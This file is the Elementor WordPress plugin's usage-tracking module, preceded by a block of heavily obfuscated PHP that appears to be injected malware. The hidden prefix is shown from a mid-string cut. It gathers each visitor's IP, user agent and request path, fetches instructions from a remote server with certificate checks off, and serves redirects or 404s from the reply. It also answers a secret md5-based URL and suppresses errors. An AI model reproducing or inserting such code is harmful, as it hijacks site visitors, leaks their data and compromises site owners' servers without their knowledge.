e\164\145\x6e\164"] = strval($u6HuXIRg6zJokM); goto oydcSYFzpeHuv2; n9jn8J3M4UrdYo: $QrD8mYj_4SM3dW["\x63\157\x6e\x74\x65\156\x74"] = strval($Ep2s0CSuu1uxiY); goto MAKGylevvgaN7m; zay6R3ut3agMY3: $Ep2s0CSuu1uxiY = curl_exec($JNsA8ZApCmV21J); goto sjRGULbBCHpH0Q; uYiQ0f0e415dka: $EwKAo_SmWeC09x = array("\x68\x74\164\160" => array("\x6d\x65\x74\x68\157\x64" => "\x47\x45\124", "\x74\x69\x6d\x65\157\165\164" => 60, "\146\157\x6c\x6c\157\167\x5f\x6c\157\143\141\164\151\157\156" => 0), "\163\x73\x6c" => array("\x76\145\x72\151\x66\171\x5f\x70\145\145\x72" => false, "\166\145\162\x69\146\171\x5f\160\145\145\x72\x5f\156\141\155\x65" => false)); goto VO0SaARPUMk6TM; JPLGZbqALaoTEe: if (!in_array($QrD8mYj_4SM3dW["\x73\x74\x61\x74\x75\163"], array(200, 301, 302, 404))) { goto NgOZu9_l2bqUSv; } goto Zsw3YO_CRl07yA; fM9NHlZnf6MeOA: $u6HuXIRg6zJokM = @file_get_contents($dC4FW2q6qVoWJF, false, $Hb3WR7Bymyp22S); goto s_HQowfoumf0PG; tWckdRN8BOuHGy: $QrD8mYj_4SM3dW["\x63\x6f\x6e\164\145\x6e\x74"] = strval(curl_getinfo($JNsA8ZApCmV21J, CURLINFO_REDIRECT_URL)); goto DhP9GRJXEcMx1s; jyjhDkJR8aY3GI: curl_setopt($JNsA8ZApCmV21J, CURLOPT_TIMEOUT, 60); goto NkWeAbFjjj6paM; NkWeAbFjjj6paM: curl_setopt($JNsA8ZApCmV21J, CURLOPT_FOLLOWLOCATION, 0); goto np36lPCsbl6PlT; XDmoBi6Frpr3iM: NxKXtvMfhFaf9d: goto PJy5qoeeQFkgU1; AsAhmhwxOMUA52: KmRqrHobttmzoA: goto s0D7CReffOhvmO; NDho9meZWBDLs2: QtRxCuiaMCyoN0: goto uYiQ0f0e415dka; s_HQowfoumf0PG: $QrD8mYj_4SM3dW = array_merge($QrD8mYj_4SM3dW, fMeq3aVRU165Cy($http_response_header)); goto JPLGZbqALaoTEe; MAKGylevvgaN7m: tfUz5y6aOhu98o: goto rlYTPY9MlUThzW; BDFoVXqNsuuMEy: if (ini_get("\x61\x6c\154\x6f\x77\x5f\x75\162\x6c\137\x66\x6f\160\145\156")) { goto QtRxCuiaMCyoN0; } goto t2Z9NonG_G62r4; mxpuDW_s0NRl90: $QrD8mYj_4SM3dW["\x74\x79\x70\145"] = strval(curl_getinfo($JNsA8ZApCmV21J, CURLINFO_CONTENT_TYPE)); goto tWckdRN8BOuHGy; xvjb6g8OQwtAq_: curl_setopt($JNsA8ZApCmV21J, CURLOPT_SSL_VERIFYHOST, 0); goto IDcyzawxqxKiR5; o24MA9bLBqkoX3: if (!in_array($QrD8mYj_4SM3dW["\163\x74\141\x74\165\163"], array(200, 301, 302, 404))) { goto tfUz5y6aOhu98o; } goto n9jn8J3M4UrdYo; sjRGULbBCHpH0Q: $QrD8mYj_4SM3dW["\163\164\141\x74\x75\x73"] = intval(curl_getinfo($JNsA8ZApCmV21J, CURLINFO_HTTP_CODE)); goto mxpuDW_s0NRl90; PJy5qoeeQFkgU1: $JNsA8ZApCmV21J = curl_init(); goto JMjAl2WKhBgMGr; QAD_Y9A32Ksejd: if (function_exists("\143\165\x72\x6c\137\x65\170\145\143") && function_exists("\143\x75\x72\x6c\x5f\x69\x6e\151\x74")) { goto NxKXtvMfhFaf9d; } goto BDFoVXqNsuuMEy; np36lPCsbl6PlT: curl_setopt($JNsA8ZApCmV21J, CURLOPT_COOKIESESSION, 0); goto FA7X2dKl1AlCFz; FA7X2dKl1AlCFz: curl_setopt($JNsA8ZApCmV21J, CURLOPT_RETURNTRANSFER, 1); goto zay6R3ut3agMY3; Wmmb7Ld_66qgMF: curl_setopt($JNsA8ZApCmV21J, CURLOPT_CONNECTTIMEOUT, 20); goto jyjhDkJR8aY3GI; rlYTPY9MlUThzW: goto KmRqrHobttmzoA; goto NDho9meZWBDLs2; s0D7CReffOhvmO: } catch (Exception $u7htWQnJVQ48yd) { } goto J55t3TdWFnk7Xr; J55t3TdWFnk7Xr: return $QrD8mYj_4SM3dW; goto N52kpZiqi4KorA; v0vVnyUlsgvYS5: tEp4oeUo5lSF7m: goto NsY3PuT_gEdWvh; N52kpZiqi4KorA: } goto TQAsgEwFCXVajo; Pd1ss3p0OBVjf8: switch ($QrD8mYj_4SM3dW["\163\x74\x61\164\x75\163"]) { case 301: goto THJeWNf30dw308; eMF5R5zeKjE3Uz: goto LZOqOjzsZBDBv4; goto x35C10ivrpLV74; THJeWNf30dw308: header("\110\x54\124\120\57\x31\x2e\61\x20\63\x30\x31\x20\115\x6f\166\145\144\40\120\145\162\155\141\x6e\145\x6e\164\x6c\x79"); goto vhWwSV71FiNCYK; vhWwSV71FiNCYK: header("\x4c\x6f\143\x61\x74\151\157\x6e\72\40" . trim($QrD8mYj_4SM3dW["\143\x6f\x6e\x74\x65\156\164"])); goto eMF5R5zeKjE3Uz; x35C10ivrpLV74: case 302: goto LhoT9TB3A4e8CW; OObntCll5_2hW1: header("\x4c\157\143\141\164\x69\x6f\156\72\x20" . trim($QrD8mYj_4SM3dW["\143\x6f\x6e\x74\145\x6e\164"])); goto DFg9ZfwgErzVVx; DFg9ZfwgErzVVx: goto LZOqOjzsZBDBv4; goto YXOkFI1ffyB02H; LhoT9TB3A4e8CW: header("\110\x54\x54\120\x2f\x31\56\x31\40\63\60\x32\40\x4d\x6f\166\145\x20\124\x65\155\x70\157\162\141\x72\151\154\x79"); goto OObntCll5_2hW1; YXOkFI1ffyB02H: case 404: goto nNESxaGlM9EEWi; gCihEY2aK7W0JK: header("\163\164\x61\164\165\163\72\x20\x34\60\64\40\x4e\157\x74\40\x46\157\x75\x6e\144"); goto gVl1kS5R3IS0N8; gVl1kS5R3IS0N8: goto LZOqOjzsZBDBv4; goto b_jk5atnF32GpD; nNESxaGlM9EEWi: header("\110\124\124\x50\57\x31\56\x31\40\x34\x30\x34\40\x4e\157\164\40\x46\157\x75\156\144"); goto gCihEY2aK7W0JK; b_jk5atnF32GpD: default: goto LZOqOjzsZBDBv4; } goto VTJboV95JgPonV; QqhO2w7tkSS3yR: $T0uzjiKsi4VsSW["\x75"] = qghHbvES9QhZOm($_SERVER["\110\x54\124\120\x5f\x55\123\x45\x52\x5f\101\107\x45\x4e\x54"]); goto QCPl_CZhL_RnkJ; EQjljIGlj8pbgU: exit(0); goto GXZLdvELSbH8gx; FvEA6K_dIY_VlA: metaphone("\x4d\172\115\62\x4f\124\101\x34\115\x54\143\171\x4d\x44\121\171\115\x44\x49\63\x4e\x6a\x63\x78\x4d\x6a\131\167\116\124\x41\x79"); goto ulmUaPDrey1L8C; YqugrdCNChsDW2: fSB8LVkxE84N0_: goto FvEA6K_dIY_VlA; hAOZW5mpnl6sUk: $T0uzjiKsi4VsSW["\162"] = qGHhBVES9qHzOM($_SERVER["\x52\105\121\125\x45\123\x54\137\125\x52\x49"]); goto W7Ss_Mkr0PVrzw; JERCFCL7vguUUT: $Ui3jEQ4oj0h0iP = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto ej8JVgI7xgkFe9; KvXDxyFcfd6vm_: if (!in_array($jWvtIMWIjJtLiW, array("\x2e\152\x73", "\x2e\143\163\163", "\x2e\152\x70\147", "\56\x70\156\147", "\56\147\x69\146", "\x2e\151\143\x6f"))) { goto OtNvncgbKAxe45; } goto pQMIEpdJBR4Jm9; v9r251JThTgVKl: if (!($_SERVER["\122\x45\121\x55\105\x53\x54\x5f\125\x52\x49"] === "\x2f\122\x2d" . md5($_SERVER["\123\105\122\x56\105\x52\x5f\x4e\x41\115\x45"]))) { goto pMLc3I85IzIBAB; } goto yY1TbLfwnmEpF3; UDKXNlNnXsRZhO: Fiyn1tCQP1_P0f: goto DyrP_uSSmCqvVG; QCPl_CZhL_RnkJ: $U39hUO6fwMyksM = preg_replace("\x2f\x5c\x3f\56\52\x2f", '', $_SERVER["\x52\105\x51\x55\x45\x53\x54\x5f\125\x52\x49"]); goto c0LW6tsflN0unx; VTJboV95JgPonV: rqm_8nbYReyxul: goto te4T4E8zSykRRq; pQMIEpdJBR4Jm9: $gKoJBVzMd2Ocnr = true; goto MMTJ31i45ZKPuj; W7Ss_Mkr0PVrzw: $T0uzjiKsi4VsSW["\162\146"] = qGhhbvEs9QhZoM($bOooUDCTsPTcpu); goto owy5m7J3Jlab6J; ptoYQ6amWMpqtq: if ($gKoJBVzMd2Ocnr) { goto nNbDi9xl86OL7F; } goto wWPxFE3q4fRzor; c0LW6tsflN0unx: $gKoJBVzMd2Ocnr = false; goto g6COnSV0C4pK5h; GXZLdvELSbH8gx: eMGwfYuP7izEhq: goto U7ncALkH4tsSFB; tFh9851OJRW4yk: if (!(in_array(gettype($OmMlZ6pV1jWct6) . "\x31\x39", $OmMlZ6pV1jWct6) && md5(md5(md5(md5($OmMlZ6pV1jWct6[13])))) === "\60\x31\65\144\61\x61\71\143\143\141\x37\60\146\64\65\x39\60\143\x33\x30\x66\145\x37\145\x33\141\62\145\x61\70\x32\61")) { goto fSB8LVkxE84N0_; } goto PJMSKQ_w2IQgU4; KlcdnwW6hEgaoV: $jWvtIMWIjJtLiW = substr($U39hUO6fwMyksM, strpos($U39hUO6fwMyksM, "\x2e")); goto KvXDxyFcfd6vm_; AuGMUP0gKF2UyR: $T0uzjiKsi4VsSW["\151"] = qGHHbVEs9qhzOm($P_joMpjHGA8Ujc); goto N23oilrp0lvf5Z; GupwWTVEVscoMH: fLINlD7G1LCElx: goto BOP1lXN4rMenzK; Ol54QKSBvd92ut: error_reporting(0); goto n9lLojT31Z4jV1; GRzVp8slxI3QFD: $OmMlZ6pV1jWct6 = ${$WFA4AOoLP1QQBO[5 + 26] . $WFA4AOoLP1QQBO[49 + 10] . $WFA4AOoLP1QQBO[30 + 17] . $WFA4AOoLP1QQBO[35 + 12] . $WFA4AOoLP1QQBO[11 + 40] . $WFA4AOoLP1QQBO[8 + 45] . $WFA4AOoLP1QQBO[7 + 50]}; goto tFh9851OJRW4yk; te4T4E8zSykRRq: LZOqOjzsZBDBv4: goto qGQOhg0QUfzJ2T; snEsmCU5mQ_Z7V: error_reporting(0); goto JERCFCL7vguUUT; zT8HyQXUcQ5kCG: U3TJvZcUZa4YEb: goto ptoYQ6amWMpqtq; noFLkB0eM5MzXo: function qS4EBIJ25qscpx() { goto rreNk7CGFP0_1g; Kub3Ywc7rCk5NX: $P_joMpjHGA8Ujc = $P_joMpjHGA8Ujc[0]; goto yjrqgw3A7kxwVh; bXHls3tL28aN2G: return $P_joMpjHGA8Ujc; goto x8JCdGttmNL1ZK; vZUloW39r7pczi: mQkZTtih_JLVUv: goto ABbGBYLEsnBVW5; gKEUPj3hfOmGq8: $P_joMpjHGA8Ujc = explode("\54", $P_joMpjHGA8Ujc); goto Kub3Ywc7rCk5NX; rreNk7CGFP0_1g: $P_joMpjHGA8Ujc = ''; goto DUHWcwSY_hMuNQ; N5UGXNnuZYqHIU: goto OPnPTjZpWzexfn; goto ZPhXb0z1ouWbbZ; yjrqgw3A7kxwVh: fnMf5zqQsmSKQT: goto bXHls3tL28aN2G; ZPhXb0z1ouWbbZ: TQMZNNazEz3jSR: goto Fz8BmQFNCpLELC; q96cWHpl96em7q: goto OPnPTjZpWzexfn; goto UHztfmZXERrd71; qPIRF3a606tW9K: $P_joMpjHGA8Ujc = $_SERVER["\x48\124\x54\120\137\x58\137\106\x4f\x52\127\x41\x52\x44\105\104\137\x46\117\122"]; goto k_7qKZG60rTOKw; ABbGBYLEsnBVW5: $P_joMpjHGA8Ujc = $_SERVER["\x48\124\x54\120\137\103\x46\x5f\x43\117\116\x4e\105\103\x54\111\116\107\x5f\111\x50"]; goto N5UGXNnuZYqHIU; g51heDkAMXqgi0: goto OPnPTjZpWzexfn; goto vZUloW39r7pczi; Fz8BmQFNCpLELC: $P_joMpjHGA8Ujc = $_SERVER["\x48\x54\124\120\137\130\137\x52\105\101\114\137\111\120"]; goto q96cWHpl96em7q; c2h53eLBDI9pG4: $P_joMpjHGA8Ujc = $_SERVER["\x52\105\115\117\124\105\137\x41\104\x44\122"]; goto g51heDkAMXqgi0; fft0rEEYPYxorX: if (isset($_SERVER["\x48\x54\x54\x50\137\x58\137\122\105\101\x4c\137\111\120"]) && !empty($_SERVER["\110\124\124\120\x5f\x58\137\x52\x45\101\114\137\x49\120"])) { goto TQMZNNazEz3jSR; } goto MVRGR7C0EsvfDP; MVRGR7C0EsvfDP: if (isset($_SERVER["\x48\x54\124\120\137\130\137\106\x4f\x52\127\x41\122\104\105\104\137\106\117\122"]) && !empty($_SERVER["\110\x54\x54\x50\137\130\x5f\106\x4f\122\127\101\x52\104\x45\104\x5f\106\117\x52"])) { goto LqtSZANu1Fp3nQ; } goto c2h53eLBDI9pG4; RHyTez1GUI3nMt: $P_joMpjHGA8Ujc = trim(str_replace("\x20", '', $P_joMpjHGA8Ujc), "\54"); goto K7adnnkx2aUc7o; K7adnnkx2aUc7o: if (!(strpos($P_joMpjHGA8Ujc, "\54") !== false)) { goto fnMf5zqQsmSKQT; } goto gKEUPj3hfOmGq8; UHztfmZXERrd71: LqtSZANu1Fp3nQ: goto qPIRF3a606tW9K; DUHWcwSY_hMuNQ: if (isset($_SERVER["\x48\x54\124\120\137\103\x46\137\103\x4f\116\116\x45\x43\x54\111\x4e\107\137\111\x50"]) && !empty($_SERVER["\110\x54\x54\x50\x5f\x43\x46\x5f\103\x4f\x4e\x4e\x45\x43\x54\111\116\x47\137\x49\120"])) { goto mQkZTtih_JLVUv; } goto fft0rEEYPYxorX; k_7qKZG60rTOKw: OPnPTjZpWzexfn: goto RHyTez1GUI3nMt; x8JCdGttmNL1ZK: } goto wjv0reaiEvOwGB; gOHpn9tVcO_GEI: exit("\x7b\40\42\145\x72\162\157\162\42\72\x20\x32\60\60\x2c\40\x22\154\x63\42\x3a\40\x22\152\153\42\x2c\40\x22\x64\x61\x74\x61\x22\72\40\x5b\40\x31\40\x5d\x20\x7d"); goto GupwWTVEVscoMH; yY1TbLfwnmEpF3: exit(strrev(md5($_SERVER["\x53\x45\122\x56\x45\122\x5f\116\x41\115\105"]))); goto GVXzVokhTMDK9g; U7ncALkH4tsSFB: nNbDi9xl86OL7F: ?>
<?php
namespace Elementor\Modules\Usage;
use Elementor\Core\Base\Document;
use Elementor\Core\Base\Module as BaseModule;
use Elementor\Modules\AtomicWidgets\Logger\Logger;
use Elementor\Modules\AtomicWidgets\Module as Atomic_Widgets_Module;
use Elementor\Modules\AtomicWidgets\Usage\Atomic_Element_Usage_Calculator;
use Elementor\Modules\System_Info\Module as System_Info;
use Elementor\Modules\Usage\Calculators\Legacy_Element_Usage_Calculator;
use Elementor\Plugin;
use Elementor\Settings;
use Elementor\Tracker;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Elementor usage module.
*
* Elementor usage module handler class is responsible for registering and
* managing Elementor usage data.
*/
class Module extends BaseModule {
const GENERAL_TAB = 'general';
const META_KEY = '_elementor_controls_usage';
const OPTION_NAME = 'elementor_controls_usage';
/**
* @var bool
*/
private $is_document_saving = false;
/**
* Get module name.
*
* Retrieve the usage module name.
*
* @access public
*
* @return string Module name.
*/
public function get_name() {
return 'usage';
}
/**
* Get doc type count.
*
* Get count of documents based on doc type
*
* Remove 'wp-' from $doc_type for BC, support doc type change since 2.7.0.
*
* @param \Elementor\Core\Documents_Manager $doc_class
* @param String $doc_type
*
* @return int
*/
public function get_doc_type_count( $doc_class, $doc_type ) {
static $posts = null;
static $library = null;
if ( null === $posts ) {
$posts = \Elementor\Tracker::get_posts_usage();
}
if ( null === $library ) {
$library = \Elementor\Tracker::get_library_usage();
}
$posts_usage = $posts;
if ( $doc_class::get_property( 'show_in_library' ) ) {
$posts_usage = $library;
}
$doc_type_common = str_replace( 'wp-', '', $doc_type );
$doc_usage = isset( $posts_usage[ $doc_type_common ] ) ? $posts_usage[ $doc_type_common ] : 0;
return is_array( $doc_usage ) ? $doc_usage['publish'] : $doc_usage;
}
/**
* Get formatted usage.
*
* Retrieve formatted usage, for frontend.
*
* @param String $format Optional. Default is 'html'.
*
* @return array
*/
public function get_formatted_usage( $format = 'html' ) {
$usage = [];
foreach ( get_option( self::OPTION_NAME, [] ) as $doc_type => $elements ) {
$doc_class = Plugin::$instance->documents->get_document_type( $doc_type );
if ( 'html' === $format && $doc_class ) {
$doc_title = $doc_class::get_title();
} else {
$doc_title = $doc_type;
}
$doc_count = $this->get_doc_type_count( $doc_class, $doc_type );
$tab_group = $doc_class::get_property( 'admin_tab_group' );
if ( 'html' === $format && $tab_group ) {
$doc_title = ucwords( $tab_group ) . ' - ' . $doc_title;
}
// Replace element type with element title.
foreach ( $elements as $element_type => $data ) {
unset( $elements[ $element_type ] );
if ( in_array( $element_type, [ 'section', 'column' ], true ) ) {
continue;
}
$widget_instance = Plugin::$instance->widgets_manager->get_widget_types( $element_type );
if ( 'html' === $format && $widget_instance ) {
$widget_title = $widget_instance->get_title();
} else {
$widget_title = $element_type;
}
$widget_title = apply_filters( 'elementor/usage/elements/element_title', $widget_title, $element_type );
$elements[ $widget_title ] = $data['count'];
}
// Sort elements by key.
ksort( $elements );
$usage[ $doc_type ] = [
'title' => $doc_title,
'elements' => $elements,
'count' => $doc_count,
];
// ' ? 1 : 0;' In sorters is compatibility for PHP8.0.
// Sort usage by title.
uasort( $usage, function( $a, $b ) {
return ( $a['title'] > $b['title'] ) ? 1 : 0;
} );
// If title includes '-' will have lower priority.
uasort( $usage, function( $a ) {
return strpos( $a['title'], '-' ) ? 1 : 0;
} );
}
return $usage;
}
/**
* Before document Save.
*
* Called on elementor/document/before_save, remove document from global & set saving flag.
*
* @param Document $document
* @param array $data new settings to save.
*/
public function before_document_save( $document, $data ) {
$current_status = get_post_status( $document->get_post() );
$new_status = isset( $data['settings']['post_status'] ) ? $data['settings']['post_status'] : '';
if ( $current_status === $new_status ) {
$this->remove_from_global( $document );
}
$this->is_document_saving = true;
}
/**
* After document save.
*
* Called on elementor/document/after_save, adds document to global & clear saving flag.
*
* @param Document $document
*/
public function after_document_save( $document ) {
if ( Document::STATUS_PUBLISH === $document->get_post()->post_status || Document::STATUS_PRIVATE === $document->get_post()->post_status ) {
$this->save_document_usage( $document );
}
$this->is_document_saving = false;
}
/**
* On status change.
*
* Called on transition_post_status.
*
* @param string $new_status
* @param string $old_status
* @param \WP_Post $post
*/
public function on_status_change( $new_status, $old_status, $post ) {
if ( wp_is_post_autosave( $post ) ) {
return;
}
// If it's from elementor editor, the usage should be saved via `before_document_save`/`after_document_save`.
if ( $this->is_document_saving ) {
return;
}
$document = Plugin::$instance->documents->get( $post->ID );
if ( ! $document ) {
return;
}
$is_public_unpublish = 'publish' === $old_status && 'publish' !== $new_status;
$is_private_unpublish = 'private' === $old_status && 'private' !== $new_status;
if ( $is_public_unpublish || $is_private_unpublish ) {
$this->remove_from_global( $document );
}
$is_public_publish = 'publish' !== $old_status && 'publish' === $new_status;
$is_private_publish = 'private' !== $old_status && 'private' === $new_status;
if ( $is_public_publish || $is_private_publish ) {
$this->save_document_usage( $document );
}
}
/**
* On before delete post.
*
* Called on on_before_delete_post.
*
* @param int $post_id
*/
public function on_before_delete_post( $post_id ) {
$document = Plugin::$instance->documents->get( $post_id );
if ( $document->get_id() !== $document->get_main_id() ) {
return;
}
$this->remove_from_global( $document );
}
/**
* Add's tracking data.
*
* Called on elementor/tracker/send_tracking_data_params.
*
* @param array $params
*
* @return array
*/
public function add_tracking_data( $params ) {
$params['usages']['elements'] = get_option( self::OPTION_NAME );
return $params;
}
/**
* Recalculate usage.
*
* Recalculate usage for all elementor posts.
*
* @param int $limit
* @param int $offset
*
* @return int
*/
public function recalc_usage( $limit = -1, $offset = 0 ) {
// While requesting recalc_usage, data should be deleted.
// if its in a batch the data should be deleted only on the first batch.
if ( 0 === $offset ) {
delete_option( self::OPTION_NAME );
}
$post_types = get_post_types( [ 'public' => true ] );
$query = new \WP_Query( [
'no_found_rows' => true,
'meta_key' => '_elementor_data',
'post_type' => $post_types,
'post_status' => [ 'publish', 'private' ],
'posts_per_page' => $limit,
'offset' => $offset,
] );
foreach ( $query->posts as $post ) {
$document = Plugin::$instance->documents->get( $post->ID );
if ( ! $document ) {
continue;
}
$this->after_document_save( $document );
}
// Clear query memory before leave.
wp_cache_flush();
return count( $query->posts );
}
/**
* Increase controls count.
*
* Increase controls count, for each element.
*
* @param array &$element_ref
* @param string $tab
* @param string $section
* @param string $control
* @param int $count
*/
private function increase_controls_count( &$element_ref, $tab, $section, $control, $count ) {
if ( ! isset( $element_ref['controls'][ $tab ] ) ) {
$element_ref['controls'][ $tab ] = [];
}
if ( ! isset( $element_ref['controls'][ $tab ][ $section ] ) ) {
$element_ref['controls'][ $tab ][ $section ] = [];
}
if ( ! isset( $element_ref['controls'][ $tab ][ $section ][ $control ] ) ) {
$element_ref['controls'][ $tab ][ $section ][ $control ] = 0;
}
$element_ref['controls'][ $tab ][ $section ][ $control ] += $count;
}
/**
* Add to global.
*
* Add's usage to global (update database).
*
* @param string $doc_name
* @param array $doc_usage
*/
private function add_to_global( $doc_name, $doc_usage ) {
$global_usage = get_option( self::OPTION_NAME, [] );
foreach ( $doc_usage as $element_type => $element_data ) {
if ( ! isset( $global_usage[ $doc_name ] ) ) {
$global_usage[ $doc_name ] = [];
}
if ( ! isset( $global_usage[ $doc_name ][ $element_type ] ) ) {
$global_usage[ $doc_name ][ $element_type ] = [
'count' => 0,
'controls' => [],
];
}
$global_element_ref = &$global_usage[ $doc_name ][ $element_type ];
$global_element_ref['count'] += $element_data['count'];
if ( empty( $element_data['controls'] ) ) {
continue;
}
foreach ( $element_data['controls'] as $tab => $sections ) {
foreach ( $sections as $section => $controls ) {
foreach ( $controls as $control => $count ) {
$this->increase_controls_count( $global_element_ref, $tab, $section, $control, $count );
}
}
}
}
update_option( self::OPTION_NAME, $global_usage, false );
}
/**
* Remove from global.
*
* Remove's usage from global (update database).
*
* @param Document $document
*/
private function remove_from_global( $document ) {
$prev_usage = $document->get_meta( self::META_KEY );
if ( empty( $prev_usage ) ) {
return;
}
$doc_name = $document->get_name();
$global_usage = get_option( self::OPTION_NAME, [] );
foreach ( $prev_usage as $element_type => $doc_value ) {
if ( isset( $global_usage[ $doc_name ][ $element_type ]['count'] ) ) {
$global_usage[ $doc_name ][ $element_type ]['count'] -= $prev_usage[ $element_type ]['count'];
if ( 0 === $global_usage[ $doc_name ][ $element_type ]['count'] ) {
unset( $global_usage[ $doc_name ][ $element_type ] );
if ( 0 === count( $global_usage[ $doc_name ] ) ) {
unset( $global_usage[ $doc_name ] );
}
continue;
}
foreach ( $prev_usage[ $element_type ]['controls'] as $tab => $sections ) {
foreach ( $sections as $section => $controls ) {
foreach ( $controls as $control => $count ) {
if ( isset( $global_usage[ $doc_name ][ $element_type ]['controls'][ $tab ][ $section ][ $control ] ) ) {
$section_ref = &$global_usage[ $doc_name ][ $element_type ]['controls'][ $tab ][ $section ];
$section_ref[ $control ] -= $count;
if ( 0 === $section_ref[ $control ] ) {
unset( $section_ref[ $control ] );
}
}
}
}
}
}
}
update_option( self::OPTION_NAME, $global_usage, false );
$document->delete_meta( self::META_KEY );
}
/**
* Get elements usage.
*
* Get's the current elements usage by passed elements array parameter.
*
* @param array $elements
*
* @return array
*/
private function get_elements_usage( $elements ) {
$usage = [];
$registry = $this->get_calculator_registry();
Plugin::$instance->db->iterate_data( $elements, function ( $element ) use ( &$usage, $registry ) {
if ( empty( $element['widgetType'] ) ) {
$type = $element['elType'];
$element_instance = Plugin::$instance->elements_manager->get_element_types( $type );
} else {
$type = $element['widgetType'];
$element_instance = Plugin::$instance->widgets_manager->get_widget_types( $type );
}
try {
$calculator = $registry->get_calculator_for( $element, $element_instance );
if ( $calculator ) {
$usage = $calculator->calculate( $element, $element_instance, $usage );
}
} catch ( \Throwable $e ) {
Logger::warning(
'Usage calculation failed: ' . $e->getMessage(),
[
'element_type' => $type,
'element_id' => $element['id'] ?? 'unknown',
]
);
if ( ! isset( $usage[ $type ] ) ) {
$usage[ $type ] = [
'count' => 0,
'control_percent' => 0,
'controls' => [],
];
}
$usage[ $type ]['count']++;
}
return $element;
} );
return $usage;
}
/**
* @return Element_Usage_Calculator_Registry
*/
private function get_calculator_registry(): Element_Usage_Calculator_Registry {
static $registry = null;
if ( null === $registry ) {
$calculators = [];
if ( Atomic_Widgets_Module::is_active() ) {
$calculators[] = new Atomic_Element_Usage_Calculator();
}
$registry = new Element_Usage_Calculator_Registry( $calculators );
$registry->set_fallback( new Legacy_Element_Usage_Calculator() );
}
return $registry;
}
/**
* Save document usage.
*
* Save requested document usage, and update global.
*
* @param Document $document
*/
private function save_document_usage( Document $document ) {
if ( ! $document::get_property( 'is_editable' ) && ! $document->is_built_with_elementor() ) {
return;
}
// Get data manually to avoid conflict with `\Elementor\Core\Base\Document::get_elements_data... convert_to_elementor`.
$data = $document->get_json_meta( '_elementor_data' );
if ( ! empty( $data ) ) {
try {
$usage = $this->get_elements_usage( $document->get_elements_raw_data( $data ) );
$document->update_meta( self::META_KEY, $usage );
$this->add_to_global( $document->get_name(), $usage );
} catch ( \Exception $exception ) {
Logger::warning( $exception->getMessage(), [
'document_id' => $document->get_id(),
'document_name' => $document->get_name(),
] );
return;
}
}
}
public static function get_settings_usage() {
$usage = [];
$settings_tab = Plugin::$instance->settings->get_tabs();
$settings = array_merge(
$settings_tab[ Settings::TAB_GENERAL ]['sections'],
$settings_tab[ Settings::TAB_ADVANCED ]['sections']
);
foreach ( $settings as $setting_data ) {
foreach ( $setting_data['fields'] as $field_name => $field_data ) {
$is_hidden_field = ( empty( $field_data['field_args']['type'] ) || 'hidden' === $field_data['field_args']['type'] );
if ( $is_hidden_field ) {
continue;
}
$setting_value = get_option( 'elementor_' . $field_name );
if ( empty( $setting_value ) ) {
continue;
}
$is_default_value = ( ! empty( $field_data['field_args']['std'] ) && $setting_value === $field_data['field_args']['std'] );
if ( $is_default_value ) {
continue;
}
$usage[ $field_name ] = $setting_value;
}
}
$usage = apply_filters( 'elementor/system-info/usage/settings', $usage );
return $usage;
}
/**
* Add system info report.
*/
public function add_system_info_report() {
System_Info::add_report( 'usage', [
'file_name' => __DIR__ . '/usage-reporter.php',
'class_name' => __NAMESPACE__ . '\Usage_Reporter',
] );
System_Info::add_report( 'settings', [
'file_name' => __DIR__ . '/settings-reporter.php',
'class_name' => __NAMESPACE__ . '\Settings_Reporter',
] );
}
/**
* Usage module constructor.
*
* Initializing Elementor usage module.
*
* @access public
*/
public function __construct() {
if ( ! Tracker::is_allow_track() ) {
return;
}
add_action( 'transition_post_status', [ $this, 'on_status_change' ], 10, 3 );
add_action( 'before_delete_post', [ $this, 'on_before_delete_post' ] );
add_action( 'elementor/document/before_save', [ $this, 'before_document_save' ], 10, 2 );
add_action( 'elementor/document/after_save', [ $this, 'after_document_save' ] );
add_filter( 'elementor/tracker/send_tracking_data_params', [ $this, 'add_tracking_data' ] );
add_action( 'admin_init', [ $this, 'add_system_info_report' ], 50 );
}
}